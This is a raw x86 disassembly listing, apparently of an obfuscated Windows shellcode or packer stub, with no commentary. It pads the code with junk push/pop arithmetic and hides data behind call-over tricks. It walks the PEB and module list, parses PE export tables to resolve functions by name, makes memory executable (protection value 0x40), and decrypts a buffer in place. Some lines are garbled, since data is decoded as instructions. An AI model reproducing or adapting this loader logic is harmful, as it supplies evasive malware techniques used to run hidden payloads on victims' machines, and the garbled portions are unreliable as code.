push ebx
add esp, 4
add esi, 0x9d65
call 0x424647
add byte [edi], dh
inc ebx
inc ecx
aas
dec ecx
dec edi
dec esi
aaa
add esp, 4
call 0x42465a
add byte [ebx + ecx*2], bh
cmp al, 0x4b
inc ebx
xor eax, 0x46404037
add esp, 4
pop esi
mov eax, dword [ebp - 0x248]
mov dword [ebp - 0x3f0], eax
jmp 0x4246d4
push edx
and edx, 0x5b28
or edx, 0x1728b
sub edx, 0x14da3
pop edx
push esi
push eax
add esp, 4
sub esi, 0x15929
xor esi, 0xe6ec
or esi, 0x1026c
and esi, 0xdd4d
pop esi
mov ecx, dword [ebp - 0x248]
mov edx, dword [ecx]
mov dword [ebp - 0x248], edx
mov eax, dword [ebp - 0x248]
cmp eax, dword [ebp - 0x6e8]
je 0x4246ca
mov ecx, dword [ebp - 0x248]
cmp dword [ecx + 0x30], 0
jne 0x424495
mov dword [ebp - 0x3f0], 0
cmp dword [ebp - 0x3f0], 0
jne 0x42471e
push ecx
push esi
add esp, 4
jmp 0x4246ea
call 0x4246f9
add byte [edi + 0x3f], cl
dec esp
push eax
aas
xor bh, byte [edx]
dec esp
xor al, byte [ebx - 0xe7efb3c]
sti
xchg ebp, eax
add byte [eax], al
pop ecx
push edi
push ecx
add esp, 4
xor edi, 0xb010
pop edi
mov dword [ebp - 0x618], 0
jmp 0x425246
push edx
push edx
add esp, 4
jmp 0x424728
jmp 0x42472f
and edx, 0x3fb9
pop edx
push eax
call 0x424746
add byte [esi], dh
cmp bh, byte [eax]
cmp byte [esi + 0x46], cl
xor esi, dword [ebx]
dec edx
add esp, 4
sub eax, 0x15d8e
pop eax
mov edx, dword [ebp - 0x3f0]
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x1bc], eax
mov dword [ebp - 0x400], 0
mov ecx, dword [ebp - 0x1bc]
mov dword [ebp - 0xbe8], ecx
cmp dword [ebp - 0xbe8], 0
jne 0x42478f
mov edx, dword [ebp - 0x400]
mov dword [ebp - 0x240], edx
jmp 0x424a80
mov eax, dword [ebp - 0xbe8]
mov ecx, dword [ebp - 0x1bc]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0xbec], ecx
jne 0x4247b7
mov edx, dword [ebp - 0x400]
mov dword [ebp - 0x240], edx
jmp 0x424a80
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0xbec]
mov eax, dword [edx + ecx + 0x78]
mov dword [ebp - 0xbf0], eax
cmp dword [ebp - 0xbf0], 0
jne 0x4247e9
mov ecx, dword [ebp - 0x400]
mov dword [ebp - 0x240], ecx
jmp 0x424a80
mov edx, dword [ebp - 0x1bc]
add edx, dword [ebp - 0xbf0]
mov dword [ebp - 0x3f4], edx
jne 0x42480e
mov eax, dword [ebp - 0x400]
mov dword [ebp - 0x240], eax
jmp 0x424a80
mov ecx, dword [ebp - 0x3f4]
mov edx, dword [ebp - 0x1bc]
add edx, dword [ecx + 0x20]
mov dword [ebp - 0xe78], edx
mov eax, dword [ebp - 0x3f4]
mov ecx, dword [ebp - 0x1bc]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0xe7c], ecx
mov edx, dword [ebp - 0x3f4]
mov eax, dword [ebp - 0x1bc]
add eax, dword [edx + 0x1c]
mov dword [ebp - 0xe80], eax
mov dword [ebp - 0x3f8], 0
jmp 0x424868
mov ecx, dword [ebp - 0x3f8]
add ecx, 1
mov dword [ebp - 0x3f8], ecx
mov edx, dword [ebp - 0x3f4]
mov eax, dword [ebp - 0x3f8]
cmp eax, dword [edx + 0x18]
jae 0x424a74
mov ecx, dword [ebp - 0x3f8]
mov edx, dword [ebp - 0xe78]
mov eax, dword [ebp - 0x1bc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x3fc], eax
mov ecx, dword [ebp - 0x3f8]
mov edx, dword [ebp - 0xe7c]
movzx eax, word [edx + ecx*2]
mov ecx, dword [ebp - 0xe80]
mov edx, dword [ebp - 0x1bc]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0xe84], edx
mov dword [ebp - 0xc4], 0
jmp 0x4248d8
mov eax, dword [ebp - 0xc4]
add eax, 1
mov dword [ebp - 0xc4], eax
mov ecx, dword [ebp - 0x3fc]
add ecx, dword [ebp - 0xc4]
movsx edx, byte [ecx]
test edx, edx
je 0x42498a
mov eax, dword [ebp - 0xc4]
movsx ecx, byte [ebp + eax - 0x4d0]
test ecx, ecx
je 0x42498a
push ebx
or ebx, 0x107ce
pop ebx
push edi
push edx
add esp, 4
or edi, 0xed8c
and edi, 0x14096
pop edi
push esi
push ecx
add esp, 4
sub esi, 0x47a9
or esi, 0x2729
or esi, 0x12693
pop esi
mov edx, dword [ebp - 0x3fc]
add edx, dword [ebp - 0xc4]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0xc4]
movsx edx, byte [ebp + ecx - 0x4d0]
cmp eax, edx
je 0x42497c
mov eax, dword [ebp - 0x3fc]
add eax, dword [ebp - 0xc4]
movsx ecx, byte [eax]
xor ecx, 0x20
mov edx, dword [ebp - 0xc4]
movsx eax, byte [ebp + edx - 0x4d0]
cmp ecx, eax
jne 0x424983
jmp 0x4248c9
jmp 0x42498a
push eax
push ebx
add esp, 4
or eax, 0x36db
pop eax
push esi
xor esi, 0x18519
sub esi, 0x11f94
jmp 0x4249a8
call 0x4249b8
add byte [edi + 0x3e], cl
dec ebp
inc esi
inc ebx
xor dh, byte [0x834a3546]
les eax, [esi + ebx*2]
mov ecx, dword [ebp - 0x3fc]
add ecx, dword [ebp - 0xc4]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0xc4]
movsx ecx, byte [ebp + eax - 0x4d0]
cmp edx, ecx
jne 0x4249e9
mov dword [ebp - 0x6ec], 0
jmp 0x424a58
push esi
xor esi, 0x586b
cmp dword [ebp - 0x6ec], 0
jne 0x424a6f
mov eax, dword [ebp - 0xe84]
mov dword [ebp - 0x240], eax
jmp 0x424a80
jmp 0x424859
mov ecx, dword [ebp - 0x400]
mov dword [ebp - 0x240], ecx
cmp dword [ebp - 0x240], 0
je 0x424b5b
push eax
push eax
add esp, 4
or eax, 0xdcb8
or eax, 0xe046
and eax, 0xf599
add eax, 0x7c8a
pop eax
push edx
and edx, 0x57bf
and edx, 0x10c62
and edx, 0x8b8f
pop edx
mov edx, dword [ebp - 0x240]
mov dword [ebp - 0xe88], edx
push edi
push edx
add esp, 4
sub edi, 0x136e9
pop edi
push eax
jmp 0x424ade
or eax, 0x14601
or eax, 0x1543d
or eax, 0x4f02
pop eax
push ecx
push ecx
add esp, 4
jmp 0x424afc
pop ecx
mov eax, dword [ebp - 0xe88]
mov dword [ebp - 0xe8c], eax
lea ecx, [ebp - 0xc50]
push ecx
call dword [ebp - 0xe8c]
test eax, eax
jne 0x424b5b
push ecx
and ecx, 0x8d84
add ecx, 0x18160
add ecx, 0xb41f
pop ecx
push ecx
call 0x424b3c
add byte [edi], bh
xor cl, byte [ebx + eax*2 + 0x4c]
inc ecx
dec ebx
add esp, 4
and ecx, 0x38bc
xor ecx, 0x15956
pop ecx
mov dword [ebp - 0x618], 0
jmp 0x425246
push eax
xor eax, 0x1346a
pop eax
push edi
or edi, 0x17b49
xor edi, 0xb5b0
jmp 0x424b76
sub edi, 0x3cd7
pop edi
push edx
or edx, 0x1dfb
pop edx
push ebx
or ebx, 0x177ca
pop ebx
mov edx, dword fs:[0x18]
mov dword [ebp - 0xe90], edx
mov eax, dword [ebp - 0xe90]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xe94], ecx
mov edx, dword [ebp - 0xe94]
mov dword [ebp - 0xbf4], edx
push edi
push ebx
add esp, 4
and edi, 0x10c65
pop edi
push esi
sub esi, 0x112dc
jmp 0x424bcf
jmp 0x424bd4
pop esi
push ebx
push edi
add esp, 4
xor ebx, 0x159d7
xor ebx, 0x161d
pop ebx
cmp dword [ebp - 0xbf4], 0
jne 0x424bff
mov dword [ebp - 0x18c], 0
jmp 0x424ea6
mov eax, dword [ebp - 0xbf4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0x6f8], edx
push eax
or eax, 0x6178
pop eax
push ecx
jmp 0x424c22
add ecx, 0x6498
sub ecx, 0xd661
and ecx, 0x10220
pop ecx
push esi
sub esi, 0x6f4a
xor esi, 0x12316
pop esi
cmp dword [ebp - 0x6f8], 0
jne 0x424c5b
mov dword [ebp - 0x18c], 0
jmp 0x424ea6
mov eax, dword [ebp - 0x6f8]
mov dword [ebp - 0x244], eax
push esi
jmp 0x424c6e
pop esi
push ecx
push ebx
add esp, 4
add ecx, 0x18531
pop ecx
push esi
call 0x424c88
add byte [eax + edx*2], dh
aaa
cmp al, 0x37
inc ebp
add esp, 4
jmp 0x424c92
add esi, 0xac80
pop esi
lea ecx, [ebp - 0xc50]
mov dword [ebp - 0x6f4], ecx
mov edx, dword [ebp - 0x244]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x6f0], eax
xor ecx, ecx
mov word [ebp - 0x128], cx
xor edx, edx
mov word [ebp - 0x3c], dx
push ebx
push eax
add esp, 4
or ebx, 0x7828
jmp 0x424cd6
and ebx, 0x15ae7
pop ebx
push ebx
push ebx
add esp, 4
xor ebx, 0x101a1
xor ebx, 0xec70
xor ebx, 0xfe8b
pop ebx
mov eax, dword [ebp - 0x6f0]
mov cx, word [eax]
mov word [ebp - 0x896], cx
mov edx, dword [ebp - 0x6f0]
add edx, 2
mov dword [ebp - 0x6f0], edx
mov ax, word [ebp - 0x896]
mov word [ebp - 0x128], ax
mov ecx, dword [ebp - 0x6f4]
mov dx, word [ecx]
mov word [ebp - 0x898], dx
mov eax, dword [ebp - 0x6f4]
add eax, 2
mov dword [ebp - 0x6f4], eax
mov cx, word [ebp - 0x898]
mov word [ebp - 0x3c], cx
push eax
push edx
add esp, 4
call 0x424d5f
add byte [edi + ecx*2], dh
inc ebx
inc esp
xor eax, 0xc4833b48
add al, 0xeb
add edi, dword [0xc0813a3a]
jl 0x424d23
lea ecx, [ecx + edi*8]
invalid
add byte [eax], al
call 0x424d7a
add byte [esi + 0x4e4a3846], bh
cmp eax, dword [ebx + 0xf5804c4]
mov bh, 0x55
les eax, [ebp + 0xf1575d2]
mov bh, 0x85
fdivr st(6)
invalid
push edi
push eax
add esp, 4
xor edi, 0x146e8
xor edi, 0x76e1
add edi, 0x3235
pop edi
push eax
sub eax, 0x1441
sub eax, 0x2fca
sub eax, 0x12de4
sub eax, 0x4570
pop eax
mov edx, dword [ebp - 0x18c]
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x1c0], eax
push eax
jmp 0x424eee
and eax, 0x848f
add eax, 0xe2e2
xor eax, 0xa9f7
pop eax
push ebx
push eax
add esp, 4
or ebx, 0x13aad
and ebx, 0x1216c
sub ebx, 0x15946
pop ebx
mov dword [ebp - 0x410], 0
mov ecx, dword [ebp - 0x1c0]
mov dword [ebp - 0xc00], ecx
cmp dword [ebp - 0xc00], 0
jne 0x424f49
mov edx, dword [ebp - 0x410]
mov dword [ebp - 0x2ec], edx
jmp 0x42523a
mov eax, dword [ebp - 0xc00]
mov ecx, dword [ebp - 0x1c0]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0xc04], ecx
jne 0x424f71
mov edx, dword [ebp - 0x410]
mov dword [ebp - 0x2ec], edx
jmp 0x42523a
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0xc04]
mov eax, dword [edx + ecx + 0x78]
mov dword [ebp - 0xc08], eax
cmp dword [ebp - 0xc08], 0
jne 0x424fa3
mov ecx, dword [ebp - 0x410]
mov dword [ebp - 0x2ec], ecx
jmp 0x42523a
mov edx, dword [ebp - 0x1c0]
add edx, dword [ebp - 0xc08]
mov dword [ebp - 0x404], edx
jne 0x424fc8
mov eax, dword [ebp - 0x410]
mov dword [ebp - 0x2ec], eax
jmp 0x42523a
mov ecx, dword [ebp - 0x404]
mov edx, dword [ebp - 0x1c0]
add edx, dword [ecx + 0x20]
mov dword [ebp - 0xe98], edx
mov eax, dword [ebp - 0x404]
mov ecx, dword [ebp - 0x1c0]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0xe9c], ecx
mov edx, dword [ebp - 0x404]
mov eax, dword [ebp - 0x1c0]
add eax, dword [edx + 0x1c]
mov dword [ebp - 0xea0], eax
mov dword [ebp - 0x408], 0
jmp 0x425022
mov edx, dword [ebp - 0x404]
mov eax, dword [ebp - 0x408]
cmp eax, dword [edx + 0x18]
jae 0x42522e
mov ecx, dword [ebp - 0x408]
mov edx, dword [ebp - 0xe98]
mov eax, dword [ebp - 0x1c0]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x40c], eax
mov ecx, dword [ebp - 0x408]
mov edx, dword [ebp - 0xe9c]
movzx eax, word [edx + ecx*2]
mov ecx, dword [ebp - 0xea0]
mov edx, dword [ebp - 0x1c0]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0xea4], edx
mov dword [ebp - 0xc0], 0
jmp 0x425092
mov eax, dword [ebp - 0xc0]
add eax, 1
mov dword [ebp - 0xc0], eax
mov ecx, dword [ebp - 0x40c]
add ecx, dword [ebp - 0xc0]
movsx edx, byte [ecx]
test edx, edx
je 0x425144
mov eax, dword [ebp - 0xc0]
movsx ecx, byte [ebp + eax - 0x598]
test ecx, ecx
je 0x425144
push edx
sub edx, 0x123a3
sub edx, 0x165a7
or edx, 0x15b72
pop edx
push edx
sub edx, 0x27f0
or edx, 0x15db
call 0x4250ed
add byte [esi + ecx*2], bh
xor ecx, dword [eax + 0x48]
dec esi
inc ecx
add esp, 4
pop edx
mov edx, dword [ebp - 0x40c]
add edx, dword [ebp - 0xc0]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0xc0]
movsx edx, byte [ebp + ecx - 0x598]
cmp eax, edx
je 0x425136
mov eax, dword [ebp - 0x40c]
add eax, dword [ebp - 0xc0]
movsx ecx, byte [eax]
xor ecx, 0x20
mov edx, dword [ebp - 0xc0]
movsx eax, byte [ebp + edx - 0x598]
cmp ecx, eax
jne 0x42513d
jmp 0x425083
jmp 0x425144
push edx
xor edx, 0x7b5d
call 0x425159
add byte [edx], bh
dec eax
aaa
inc esi
cmp esi, dword [0x4c48334]
call 0x42516c
add byte [ebx + 0x45], al
inc ecx
dec edi
dec ecx
cmp bh, byte [ebx]
inc edx
cmp byte [eax - 0x7d], dl
les eax, [ecx + eax*4]
ljmp 0x8b5a
mov ecx, dword [ebp - 0x410]
mov dword [ebp - 0x2ec], ecx
mov edx, dword [ebp - 0x2ec]
mov dword [ebp - 0x618], edx
push eax
push edi
add esp, 4
add eax, 0x776
pop eax
push edi
push ebx
add esp, 4
xor edi, 0xd235
sub edi, 0xadd5
jmp 0x425269
sub edi, 0x6ee8
pop edi
push edi
sub edi, 0x16c4c
pop edi
mov eax, dword [ebp - 0x618]
mov dword [ebp - 0xea8], eax
lea ecx, [ebp - 0x700]
push ecx
push 0x40
mov edx, dword [ebp - 0xc0c]
push edx
mov eax, dword [ebp - 0x228]
push eax
call dword [ebp - 0xea8]
test eax, eax
jne 0x4252eb
push ebx
push eax
add esp, 4
xor ebx, 0x113c2
or ebx, 0x14f9c
add ebx, 0x171bf
call 0x4252cb
add byte [ebx + eax*2 + 0x4a], al
inc ebp
inc esp
cmp eax, 0x83434740
les eax, [ebx + ebx*2]
push edi
sub edi, 0x713d
pop edi
mov ecx, dword [ebp - 0x418]
mov dword [ebp - 0xeac], ecx
push 0
call dword [ebp - 0xeac]
mov edx, dword [ebp - 0xeb0]
mov dword [ebp - 0x414], edx
jmp 0x425308
mov eax, dword [ebp - 0x414]
add eax, 1
mov dword [ebp - 0x414], eax
mov ecx, dword [ebp - 0x414]
cmp ecx, dword [ebp - 0x614]
jae 0x425364
push esi
push edx
add esp, 4
sub esi, 0x4d20
call 0x42532f
add byte [edx + 0x45], cl
cmp esi, dword [ebx]
xor eax, 0x833c4c3b
les eax, [ebx + ebp*8]
pop es
inc edx
xor edi, dword [ebx + esi]
dec esi
xor bl, byte ss:[esi + 0x52]
push eax
add esp, 4
add edx, 0x14061
pop edx
movzx edx, byte [ebp - 0x1fd]
mov eax, dword [ebp - 0x414]
movsx ecx, byte [eax]
sub ecx, edx
mov edx, dword [ebp - 0x414]
mov byte [edx], cl
jmp 0x4252f9
mov eax, dword [ebp - 0x618]
mov dword [ebp - 0xeb4], eax
lea ecx, [ebp - 0x700]
push ecx
mov edx, dword [ebp - 0x700]
push edx
mov eax, dword [ebp - 0xc0c]
push eax
mov ecx, dword [ebp - 0x228]
push ecx
call dword [ebp - 0xeb4]
test eax, eax
jne 0x4253dc
push eax
xor eax, 0x57f7
pop eax
push edx
sub edx, 0xa48d
jmp 0x4253ab
or edx, 0x20c5
or edx, 0x13aee
pop edx
push edx
or edx, 0xe591
pop edx
push eax
and eax, 0xa14e
pop eax
mov edx, dword [ebp - 0x418]
mov dword [ebp - 0xeb8], edx
push 0
call dword [ebp - 0xeb8]
push eax
add eax, 0x15792
sub eax, 0x16268
jmp 0x4253ef
sub eax, 0xff67
pop eax
push ebx
push ebx
add esp, 4
or ebx, 0x1639d
add ebx, 0x9dc6
or ebx, 0x2a70
pop ebx
push ecx
mov ecx, 0x10101010
pop ecx
push ecx
mov ecx, 0xffff08ff
pop ecx
pop edi
pop edi
mov ecx, esp
or al, 0x89
iretd